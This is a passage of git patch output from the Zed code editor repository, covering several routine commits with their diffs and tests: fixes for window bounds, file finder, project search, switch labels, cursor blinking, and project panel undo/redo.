-    //         }
-    //     })
-    // }
+    fn restore_entry(&mut self, trash_id: TrashId, cx: &Context<Worktree>) -> Task<Result<Entry>> {
+        let project_id = self.project_id();
+        let worktree_id = self.id().to_proto();
+        let trash_id = trash_id.to_proto();
+
+        let request = self.client.request(proto::RestoreProjectEntry {
+            project_id,
+            worktree_id,
+            trash_id,
+        });
+
+        cx.spawn(async move |this, cx| {
+            let response = request.await?;
+            let scan_id = response.worktree_scan_id as usize;
+            let proto_entry = response.entry.context("Missing entry in in response")?;
+
+            this.update(cx, move |worktree, cx| {
+                worktree
+                    .as_remote_mut()
+                    .unwrap()
+                    .insert_entry(proto_entry, scan_id, cx)
+            })?
+            .await
+        })
+    }
 
     fn copy_external_entries(
         &self,
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index c036a6d16fa279..a9a673d10e7a55 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -3206,9 +3206,7 @@ fn randomly_mutate_worktree(
     match rng.random_range(0_u32..100) {
         0..=33 if entry.path.as_ref() != RelPath::empty() => {
             log::info!("deleting entry {:?} ({})", entry.path, entry.id.to_usize());
-            let task = worktree
-                .delete_entry(entry.id, false, cx)
-                .unwrap_or_else(|| Task::ready(Ok(None)));
+            let task = worktree.delete_entry(entry.clone(), cx);
 
             cx.background_spawn(async move {
                 task.await?;

From 40102ee7c2c4c119791af7fff202595d2bc4c3ce Mon Sep 17 00:00:00 2001
From: i18u <iahu1988@gmail.com>
Date: Thu, 16 Jul 2026 18:06:41 +0800
Subject: [PATCH 496/772] workspace: Prevent overwriting window bounds when
 window is not active (#60950)

# Objective

- Prevent the Zed window height from shrinking to the built-in MacBook
screen's height after macOS screen lock or display sleep in
multi-monitor setups.
- Related to #41246.

## Solution

- Ignore window bounds change events in `observe_window_bounds` if the
window is currently inactive (`!window.is_window_active()`).
- **Explanation**: When the system locks or sleeps, macOS reconfigures
displays (monitors power down, and macOS temporarily treats the built-in
screen as the only primary display). This triggers a resize event on
inactive Zed windows to fit them onto the built-in display. Because the
window was inactive, the `observe_window_bounds` listener still
triggered and scheduled `save_window_bounds`, immediately overwriting
the workspace database with the temporary shrunk dimensions.
- By ignoring bounds updates when the window is inactive, we preserve
the correct original bounds in the database. Since a user-initiated
resize/move always activates/focuses the window first, bounds will still
be correctly persisted for intentional manual updates.

## Testing

- Yes, tested locally on macOS (Sequoia).
- Verified that compiling the `workspace` crate succeeds (`cargo check
-p workspace`).
- Ran all 220 unit tests in the `workspace` crate (`cargo test -p
workspace`), and all passed successfully.
- **How to test**:
1. Open Zed on an external monitor and set it to a large size (or
maximize).
  2. Lock the screen (or let the displays sleep).
  3. Wake/unlock the screen.
4. Verify that the window recovers and maintains its original height
instead of shrinking.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed an issue where the Zed window would shrink to the built-in
display's height on macOS after screen lock or display sleep in
multi-monitor setups.

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/workspace/src/workspace.rs | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 699e1ca5831036..b93e8a64bfd019 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -1779,6 +1779,9 @@ impl Workspace {
         let subscriptions = vec![
             cx.observe_window_activation(window, Self::on_window_activation_changed),
             cx.observe_window_bounds(window, move |this, window, cx| {
+                if !window.is_window_active() {
+                    return;
+                }
                 if this.bounds_save_task_queued.is_some() {
                     return;
                 }

From 53a3874a32ac0ceda9e11ce614de9c9e7171054d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Noah=20H=C3=BCsser?= <noah@huesser.dev>
Date: Thu, 16 Jul 2026 12:27:44 +0200
Subject: [PATCH 497/772] Relax core-foundation pin from =0.10.0 to 0.10
 (#61089)

This PR relaxes the workspace `core-foundation` pin from an exact
`=0.10.0` to `0.10`.

I am not sure why this is pinned - digging a bit did not turn up any
specific reason so I have to assume it was not on purpose. At the moment
you cannot use gpui with nusb 0.2 (which is muuuuuch improved over 0.1,
it's not a cosmetic update) for example because of this restriction.

I would much appreciate if this relaxation was in the realm of
possibilities :)

Release Notes:

- N/A
---
 Cargo.toml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Cargo.toml b/Cargo.toml
index 3e126c2690a55d..3be6ec0967f83b 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -572,7 +572,7 @@ cocoa = "=0.26.0"
 cocoa-foundation = "=0.2.0"
 const_format = "0.2"
 convert_case = "0.11.0"
-core-foundation = "=0.10.0"
+core-foundation = "0.10"
 core-foundation-sys = "0.8.6"
 core-video = { version = "0.5.2", features = ["metal"] }
 cpal = "0.17"

From 93b846b2a65715977841dd1fffcb3dce40588c66 Mon Sep 17 00:00:00 2001
From: Daniel Strobusch <1847260+dastrobu@users.noreply.github.com>
Date: Thu, 16 Jul 2026 12:30:16 +0200
Subject: [PATCH 498/772] file_finder: Add include_ignored parameter to Toggle
 action (#59568)

# Objective

Allow keybindings to open the file finder with ignored files
pre-included, regardless of the global `file_finder.include_ignored`
setting:

```json
  {
    "bindings": {
      "ctrl-shift-o": ["file_finder::Toggle", { "include_ignored": true }]
    }
  }
```

Closes https://github.com/zed-industries/zed/discussions/42575

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
   manually locally and a unit test.
- Are there any parts that need more testing?
  no
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
   no
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?
  macOS

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- Added `include_ignored` parameter to `file_finder::Toggle` action,
allowing keybindings to open the file finder with ignored files
pre-included.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/file_finder/src/file_finder.rs       | 14 ++++++-
 crates/file_finder/src/file_finder_tests.rs | 43 +++++++++++++++++++++
 crates/workspace/src/workspace.rs           |  2 +
 3 files changed, 57 insertions(+), 2 deletions(-)

diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index daf7b938e4ba6c..a9bdd7288d19e3 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -87,7 +87,14 @@ impl FileFinder {
         workspace.register_action(
             |workspace, action: &workspace::ToggleFileFinder, window, cx| {
                 let Some(file_finder) = workspace.active_modal::<Self>(cx) else {
-                    Self::open(workspace, action.separate_history, window, cx).detach();
+                    Self::open(
+                        workspace,
+                        action.separate_history,
+                        action.include_ignored,
+                        window,
+                        cx,
+                    )
+                    .detach();
                     return;
                 };
 
@@ -104,6 +111,7 @@ impl FileFinder {
     fn open(
         workspace: &mut Workspace,
         separate_history: bool,
+        include_ignored: Option<bool>,
         window: &mut Window,
         cx: &mut Context<Workspace>,
     ) -> Task<()> {
@@ -156,6 +164,7 @@ impl FileFinder {
                             currently_opened_path,
                             history_items.collect(),
                             separate_history,
+                            include_ignored,
                             window,
                             cx,
                         );
@@ -953,6 +962,7 @@ impl FileFinderDelegate {
         currently_opened_path: Option<FoundPath>,
         history_items: Vec<FoundPath>,
         separate_history: bool,
+        include_ignored: Option<bool>,
         window: &mut Window,
         cx: &mut Context<FileFinder>,
     ) -> Self {
@@ -982,7 +992,7 @@ impl FileFinderDelegate {
             separate_history,
             first_update: true,
             focus_handle: cx.focus_handle(),
-            include_ignored: FileFinderSettings::get_global(cx).include_ignored,
+            include_ignored: include_ignored.or(FileFinderSettings::get_global(cx).include_ignored),
             include_ignored_refresh: Task::ready(()),
         }
     }
diff --git a/crates/file_finder/src/file_finder_tests.rs b/crates/file_finder/src/file_finder_tests.rs
index e83d7db791f903..ec49c8a373e5a9 100644
--- a/crates/file_finder/src/file_finder_tests.rs
+++ b/crates/file_finder/src/file_finder_tests.rs
@@ -1094,6 +1094,48 @@ async fn test_ignored_root_with_file_inclusions_repro(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_toggle_action_include_ignored_param(cx: &mut TestAppContext) {
+    let app_state = init_test(cx);
+    let project = Project::test(app_state.fs.clone(), [], cx).await;
+    let (multi_workspace, cx) =
+        cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+    let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
+    let cases = [
+        (None, Some(true), Some(true)),
+        (None, Some(false), Some(false)),
+        (None, None, None),
+        (Some(true), Some(false), Some(false)),
+        (Some(false), Some(true), Some(true)),
+        (Some(true), None, Some(true)),
+    ];
+    for (setting, action_param, expected) in cases {
+        cx.update(|_, cx| {
+            let settings = *FileFinderSettings::get_global(cx);
+            FileFinderSettings::override_global(
+                FileFinderSettings {
+                    include_ignored: setting,
+                    ..settings
+                },
+                cx,
+            );
+        });
+        cx.dispatch_action(ToggleFileFinder {
+            separate_history: false,
+            include_ignored: action_param,
+        });
+        let picker = active_file_picker(&workspace, cx);
+        picker.update(cx, |picker, _| {
+            assert_eq!(
+                picker.delegate.include_ignored, expected,
+                "setting: {setting:?}, action param: {action_param:?}"
+            );
+        });
+        cx.dispatch_action(menu::Cancel);
+    }
+}
+
 #[gpui::test]
 async fn test_ignored_root(cx: &mut TestAppContext) {
     let app_state = init_test(cx);
@@ -4513,6 +4555,7 @@ pub(crate) fn open_file_picker(
 ) -> Entity<Picker<FileFinderDelegate>> {
     cx.dispatch_action(ToggleFileFinder {
         separate_history: true,
+        include_ignored: None,
     });
     active_file_picker(workspace, cx)
 }
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index b93e8a64bfd019..e91019f6ca01e0 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -481,6 +481,8 @@ actions!(
 pub struct ToggleFileFinder {
     #[serde(default)]
     pub separate_history: bool,
+    #[serde(default)]
+    pub include_ignored: Option<bool>,
 }
 
 /// Opens a new terminal in the center.

From 625b29d243c4e163d39c7be5276ebaca0604e3a2 Mon Sep 17 00:00:00 2001
From: ian <141902143+yumosx@users.noreply.github.com>
Date: Thu, 16 Jul 2026 19:07:07 +0800
Subject: [PATCH 499/772] Fix focus handling in ProjectSearchBar. (#61093)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fix #61023

When project search is already open and focused, pressing the project
search shortcut again (`cmd-shift-f` / `ctrl-shift-f`) only re-focused
the query editor and did not select the existing query text. That made
it hard to quickly retype a search term—especially after a no-results
search, when focus stays in the search bar.

This aligns project search behavior with buffer search, where
`FocusSearch` focuses and selects the query.

## Solution

In `ProjectSearchBar::focus_search`, call `focus_query_editor` instead
of only focusing the query editor. `focus_query_editor` already focuses
the field and selects all text (same path used by `DeploySearch`).

## Testing

- [ ] Manual: open project search → type a non-matching query → Enter →
press project search shortcut again → query text should be selected so
typing replaces it
- [ ] Manual: same flow after a search that returns matches
- [ ] Manual: compare with buffer search (`cmd-f` / `ctrl-f`) to confirm
consistent “refocus selects query” behavior
- Platforms: tested / to be tested on macOS; Linux/Windows should behave
the same via the shared `FocusSearch` action

No automated test added yet; a `gpui::test` that deploys project search,
dispatches `FocusSearch`, and asserts the query editor selection would
be a good follow-up.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/search/src/project_search.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/search/src/project_search.rs b/crates/search/src/project_search.rs
index d451190c9ffade..375f6b7dfa4571 100644
--- a/crates/search/src/project_search.rs
+++ b/crates/search/src/project_search.rs
@@ -1981,7 +1981,7 @@ impl ProjectSearchBar {
     fn focus_search(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         if let Some(search_view) = self.active_project_search.as_ref() {
             search_view.update(cx, |search_view, cx| {
-                search_view.query_editor.focus_handle(cx).focus(window, cx);
+                search_view.focus_query_editor(window, cx);
             });
         }
     }

From 27ff74540bfc873a1e135d9cf5f8ca993fab4ce9 Mon Sep 17 00:00:00 2001
From: Josh Kent <81527181+joshkent94@users.noreply.github.com>
Date: Thu, 16 Jul 2026 12:32:43 +0100
Subject: [PATCH 500/772] agent_ui: Match ACP boolean option label colors
 (#61103)

# Objective

ACP boolean config option labels use the default text color, while
select option labels use the muted text color. This makes boolean
options such as Fast Mode look visually inconsistent with adjacent
configuration controls.

## Solution

Add a label color override to `Switch` while retaining `Color::Default`
for existing callers. Apply `Color::Muted` only when `agent_ui` renders
ACP boolean config options, leaving all other switches unchanged.

## Testing

Manually verified on macOS in the light theme.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior (verified visually)
- [x] Performance impact has been considered and is acceptable

## Showcase

### Before

<img width="449" height="37" alt="image"
src="https://github.com/user-attachments/assets/1abe3e39-b243-47b3-8a62-67a0b5a17b43"
/>

### After

<img width="445" height="39" alt="image"
src="https://github.com/user-attachments/assets/e134378c-84cb-4c72-92d1-98eecc2137e4"
/>

---

Release Notes:

- Fixed ACP boolean option labels to match other agent configuration
controls.
---
 crates/agent_ui/src/config_options.rs |  1 +
 crates/ui/src/components/toggle.rs    | 19 +++++++++++++++++--
 2 files changed, 18 insertions(+), 2 deletions(-)

diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index df4eecaccd5bd5..ccb821f9b2d3a0 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -581,6 +581,7 @@ impl Render for ConfigOptionSelector {
                         .label(option_name)
                         .label_position(SwitchLabelPosition::Start)
                         .label_size(LabelSize::Small)
+                        .label_color(Color::Muted)
                         .disabled(self.setting_value)
                         .on_click(move |state, _window, cx| {
                             let next_value = matches!(state, ToggleState::Selected);
diff --git a/crates/ui/src/components/toggle.rs b/crates/ui/src/components/toggle.rs
index 9991b92ce38605..236eda9690a93b 100644
--- a/crates/ui/src/components/toggle.rs
+++ b/crates/ui/src/components/toggle.rs
@@ -343,6 +343,7 @@ pub struct Switch {
     label: Option<SharedString>,
     label_position: Option<SwitchLabelPosition>,
     label_size: LabelSize,
+    label_color: Color,
     full_width: bool,
     key_binding: Option<KeyBinding>,
     color: SwitchColor,
@@ -362,6 +363,7 @@ impl Switch {
             label: None,
             label_position: None,
             label_size: LabelSize::Small,
+            label_color: Color::Default,
             full_width: false,
             key_binding: None,
             color: SwitchColor::default(),
@@ -411,6 +413,11 @@ impl Switch {
         self
     }
 
+    pub fn label_color(mut self, color: Color) -> Self {
+        self.label_color = color;
+        self
+    }
+
     pub fn full_width(mut self, full_width: bool) -> Self {
         self.full_width = full_width;
         self
@@ -543,7 +550,11 @@ impl RenderOnce for Switch {
                 self.label_position == Some(SwitchLabelPosition::Start),
                 |this| {
                     this.when_some(label.clone(), |this, label| {
-                        this.child(Label::new(label).size(self.label_size))
+                        this.child(
+                            Label::new(label)
+                                .size(self.label_size)
+                                .color(self.label_color),
+                        )
                     })
                 },
             )
@@ -552,7 +563,11 @@ impl RenderOnce for Switch {
                 self.label_position == Some(SwitchLabelPosition::End),
                 |this| {
                     this.when_some(label, |this, label| {
-                        this.child(Label::new(label).size(self.label_size))
+                        this.child(
+                            Label::new(label)
+                                .size(self.label_size)
+                                .color(self.label_color),
+                        )
                     })
                 },
             )

From 7d07d39f19d1ca56a5e1e3216d73f611ae7b5759 Mon Sep 17 00:00:00 2001
From: Daan De Meyer <daan.j.demeyer@gmail.com>
Date: Thu, 16 Jul 2026 13:43:27 +0200
Subject: [PATCH 501/772] editor: Blink cursors only in the focused editor
 (#61086)

Every editor associated with a window observed window activation. The
handler enabled the blink manager for every editor, including hidden and
unfocused editors. Their independent 500 ms timers invalidated the
window out of phase and caused redundant full-window presents.

Window activation and deactivation are already represented as focus
transitions by GPUI: an inactive window has an empty effective focus
path. Remove the redundant activation observer and rely on the editor
focus and blur handlers to stop blinking on deactivation and restart it
only for the editor that owns focus on activation.

In a 40-second idle diagnostic run before this change, the steady-state
tail repeatedly contained invalidations from one or two editors per
frame. After the change, no unfocused-editor invalidations appeared.
Bounded scrollbar fades and visible activity animations remain
unchanged.

Add a regression test with focused and unfocused editors that covers
activation, deactivation, and reactivation.

Release Notes:

- Fixed cursors blinking in unfocused editors, reducing idle redraws.

---------

Signed-off-by: Daan De Meyer <daan@amutable.com>
---
 crates/editor/src/blink_manager.rs |  5 ++++
 crates/editor/src/editor.rs        | 10 --------
 crates/editor/src/editor_tests.rs  | 39 ++++++++++++++++++++++++++++++
 3 files changed, 44 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/blink_manager.rs b/crates/editor/src/blink_manager.rs
index f265744de3304f..f6ebae5a91786c 100644
--- a/crates/editor/src/blink_manager.rs
+++ b/crates/editor/src/blink_manager.rs
@@ -112,4 +112,9 @@ impl BlinkManager {
     pub fn visible(&self) -> bool {
         self.visible
     }
+
+    #[cfg(test)]
+    pub(crate) fn enabled(&self) -> bool {
+        self.enabled
+    }
 }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 06c2913c5ddc10..8cbbba449e8064 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -2416,16 +2416,6 @@ impl Editor {
                         cx.observe_global_in::<SettingsStore>(window, Self::settings_changed),
                         cx.observe_global_in::<GlobalTheme>(window, Self::theme_changed),
                         observe_buffer_font_size_adjustment(cx, |_, cx| cx.notify()),
-                        cx.observe_window_activation(window, |editor, window, cx| {
-                            let active = window.is_window_active();
-                            editor.blink_manager.update(cx, |blink_manager, cx| {
-                                if active {
-                                    blink_manager.enable(cx);
-                                } else {
-                                    blink_manager.disable(cx);
-                                }
-                            });
-                        }),
                     ]
                 })
                 .unwrap_or_default(),
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 3efc8a5b291283..516797a740ddda 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -2485,6 +2485,45 @@ fn test_beginning_of_line_single_line_editor(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+fn test_only_focused_editor_blinks_across_window_activation(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let window = cx.add_window(|window, cx| Editor::single_line(window, cx));
+    let unfocused_editor = window
+        .update(cx, |focused_editor, window, cx| {
+            window.focus(&focused_editor.focus_handle(cx), cx);
+            let unfocused_editor = cx.new(|cx| Editor::single_line(window, cx));
+            window.activate_window();
+            unfocused_editor
+        })
+        .unwrap();
+    let focused_editor = window.root(cx).unwrap();
+    let cx = &mut VisualTestContext::from_window(*window, cx);
+    cx.run_until_parked();
+
+    cx.update(|window, cx| {
+        assert!(window.is_window_active());
+        assert!(focused_editor.read(cx).blink_manager.read(cx).enabled());
+        assert!(!unfocused_editor.read(cx).blink_manager.read(cx).enabled());
+    });
+
+    cx.deactivate_window();
+    cx.update(|window, cx| {
+        assert!(!window.is_window_active());
+        assert!(!focused_editor.read(cx).blink_manager.read(cx).enabled());
+        assert!(!unfocused_editor.read(cx).blink_manager.read(cx).enabled());
+    });
+
+    cx.update(|window, _| window.activate_window());
+    cx.run_until_parked();
+    cx.update(|window, cx| {
+        assert!(window.is_window_active());
+        assert!(focused_editor.read(cx).blink_manager.read(cx).enabled());
+        assert!(!unfocused_editor.read(cx).blink_manager.read(cx).enabled());
+    });
+}
+
 #[gpui::test]
 fn test_beginning_end_of_line_ignore_soft_wrap(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From 68b165e450b47311567f97e81b2117417c414099 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Thu, 16 Jul 2026 12:45:03 +0100
Subject: [PATCH 502/772] project_panel: Disable undo and redo on read-only
 projects (#61104)

# Objective

Users in a read-only project should have no permission to create,
rename, move, trash or delete files, as such, they should also have no
way to undo or redo these actions. These changes ensure that the
listeners for both `project_panel::Undo` and `project_panel::Redo` are
only registered if the project is not read-only.

## Solution

The `ProjectPanel` listeners for both the `Undo` and `Redo` actions were
not gated behind the existing `!Project::is_read_only` call, on
`ProjectPanel::render`, so these changes move the listeners inside that
check.

## Testing

Currently, there isn't an easy way to manually test this, as these
actions were already disabled in collab and the easiest way to get into
a read-only project is connect as a collab guest. However, in order to
ensure this continues being asserted once we remove the collab
restriction, the
`project_panel::tests::undo::undo_redo_unavailable_for_read_only_collab_guest`
test has been added.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/project_panel/src/project_panel.rs | 12 +++----
 crates/project_panel/src/tests/undo.rs    | 41 +++++++++++++++++++++++
 2 files changed, 46 insertions(+), 7 deletions(-)

diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index dc15dfbae8b56c..c621c47156c7a8 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -6880,6 +6880,7 @@ impl Render for ProjectPanel {
         // version that understands these messages.
         let is_collab = project.is_via_collab();
         let is_local = project.is_local();
+        let supports_undo = cx.has_flag::<ProjectPanelUndoRedoFeatureFlag>();
 
         if has_worktree {
             let item_count = self
@@ -7011,13 +7012,6 @@ impl Render for ProjectPanel {
                 .on_action(cx.listener(Self::fold_directory))
                 .on_action(cx.listener(Self::remove_from_project))
                 .on_action(cx.listener(Self::compare_marked_files))
-                .when(
-                    !is_collab && cx.has_flag::<ProjectPanelUndoRedoFeatureFlag>(),
-                    |el| {
-                        el.on_action(cx.listener(Self::undo))
-                            .on_action(cx.listener(Self::redo))
-                    },
-                )
                 .when(!project.is_read_only(cx), |el| {
                     el.on_action(cx.listener(Self::new_file))
                         .on_action(cx.listener(Self::new_directory))
@@ -7031,6 +7025,10 @@ impl Render for ProjectPanel {
                         .on_action(cx.listener(Self::add_to_gitignore))
                         .on_action(cx.listener(Self::add_to_git_info_exclude))
                         .when(!is_collab, |el| el.on_action(cx.listener(Self::trash)))
+                        .when(!is_collab && supports_undo, |el| {
+                            el.on_action(cx.listener(Self::undo))
+                                .on_action(cx.listener(Self::redo))
+                        })
                 })
                 .when(
                     project.is_local() || project.is_via_wsl_with_host_interop(cx),
diff --git a/crates/project_panel/src/tests/undo.rs b/crates/project_panel/src/tests/undo.rs
index 774a71b6d03cea..9f607d9c074e71 100644
--- a/crates/project_panel/src/tests/undo.rs
+++ b/crates/project_panel/src/tests/undo.rs
@@ -1,5 +1,6 @@
 #![cfg(test)]
 
+use client::proto;
 use collections::HashSet;
 use fs::{FakeFs, Fs};
 use gpui::{Entity, VisualTestContext};
@@ -240,6 +241,12 @@ impl TestContext {
             .unwrap();
         let mut cx = VisualTestContext::from_window(window.into(), cx);
         let panel = workspace.update_in(&mut cx, ProjectPanel::new);
+
+        workspace.update_in(&mut cx, |workspace, window, cx| {
+            workspace.add_panel(panel.clone(), window, cx);
+            workspace.focus_panel::<ProjectPanel>(window, cx);
+        });
+
         cx.run_until_parked();
 
         TestContext { panel, fs, cx }
@@ -458,3 +465,37 @@ async fn record_via_collab(cx: &mut gpui::TestAppContext) {
     cx.redo().await;
     cx.assert_fs_state_is(&["b.txt", "renamed.txt"]);
 }
+
+#[gpui::test]
+async fn undo_redo_unavailable_for_read_only_collab_guest(cx: &mut gpui::TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+    let focus_handle = cx
+        .panel
+        .read_with(&cx.cx, |panel, _| panel.focus_handle.clone());
+
+    cx.cx.update(|window, _cx| {
+        assert!(window.is_action_available_in(&crate::Undo, &focus_handle));
+        assert!(window.is_action_available_in(&crate::Redo, &focus_handle));
+    });
+
+    // In order to simulate a read-only project, we mark it both as a collab
+    // session as well as being a guest, which only has read access.
+    // This is currently a bit redundant, seeing as these actions are already
+    // disabled in collab either way. However, we'll want to enable undo/redo in
+    // collab in the future and this test will ensure that, at that point, we
+    // continue to not allow undo/redo in read-only projects.
+    cx.panel.update(&mut cx.cx, |panel, cx| {
+        panel.project.update(cx, |project, cx| {
+            project.mark_as_collab_for_testing();
+            project.set_role(proto::ChannelRole::Guest, cx);
+        });
+
+        assert!(panel.project.read(cx).is_read_only(cx));
+        cx.notify();
+    });
+
+    cx.cx.update(|window, _cx| {
+        assert!(!window.is_action_available_in(&crate::Undo, &focus_handle));
+        assert!(!window.is_action_available_in(&crate::Redo, &focus_handle));
+    });
+}

From 819fe337999551ce8177b14c8db1127645617ae4 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Thu, 16 Jul 2026 13:07:35 +0100
Subject: [PATCH 503/772] project_panel: Avoid recording record excluded files
 changes (#61106)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fix error shown when attempting to undo/redo operations on excluded
files, for example, undoing a creation of a file in an excluded path.

## Solution

Since `worktree::Snapshot::entry_for_path` always returns `None` for
excluded files, these changes will simply avoid calling
`UndoManager::record` in `ProjectPanel::confirm_edit` if the created
entry is excluded. This can be confusing if the user is renaming a file
to another path that is excluded, as that will not be recorded and can't
be undone but we accept it as a limitation for now and will document
that.

In the future we can potentially support undoing of operations for
excluded file paths but that would mean not only introducing new methods
that operate directly on the absolute path instead of the entry id, as
well as changes to the proto messages, in order to ensure it's also
fixed in remote and collab.

## Testing

Tested manually, as shown in the "Showcase" section below and also
introduced a test for this –
`project_panel::tests::undo::excluded_create_is_not_recorded` .

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/7f8fca3e-2716-40bb-95db-c7119bb39b83

</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/47b0322e-a323-4648-8a56-6e96266888d3

</details>

---

Release Notes:

- N/A
---
 crates/project_panel/src/project_panel.rs     | 29 ++++++-----
 .../project_panel/src/project_panel_tests.rs  |  4 +-
 crates/project_panel/src/tests/undo.rs        | 50 +++++++++++++++++--
 3 files changed, 66 insertions(+), 17 deletions(-)

diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index c621c47156c7a8..61773c7517808e 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -1980,18 +1980,6 @@ impl ProjectPanel {
             let new_entry = edit_task.await;
             project_panel.update(cx, |project_panel, cx| {
                 project_panel.state.edit_state = None;
-
-                // Record the operation if the edit was applied
-                if new_entry.is_ok() {
-                    let operation = if let Some(old_entry) = edited_entry {
-                        Change::Renamed((worktree_id, old_entry.path).into(), new_project_path)
-                    } else {
-                        Change::Created(new_project_path)
-                    };
-
-                    project_panel.undo_manager.record([operation]).log_err();
-                }
-
                 cx.notify();
             })?;
 
@@ -2007,6 +1995,23 @@ impl ProjectPanel {
                 }
                 Ok(CreatedEntry::Included(new_entry)) => {
                     project_panel.update_in(cx, |project_panel, window, cx| {
+                        // Only recording changes in included files as otherwise
+                        // undoing some operations would fail, as
+                        // `Worktree::entry_for_path` would return `None` for
+                        // excluded paths.
+                        // In the future we can look into adding support for recording
+                        // changes in excluded paths, but that would mean updating
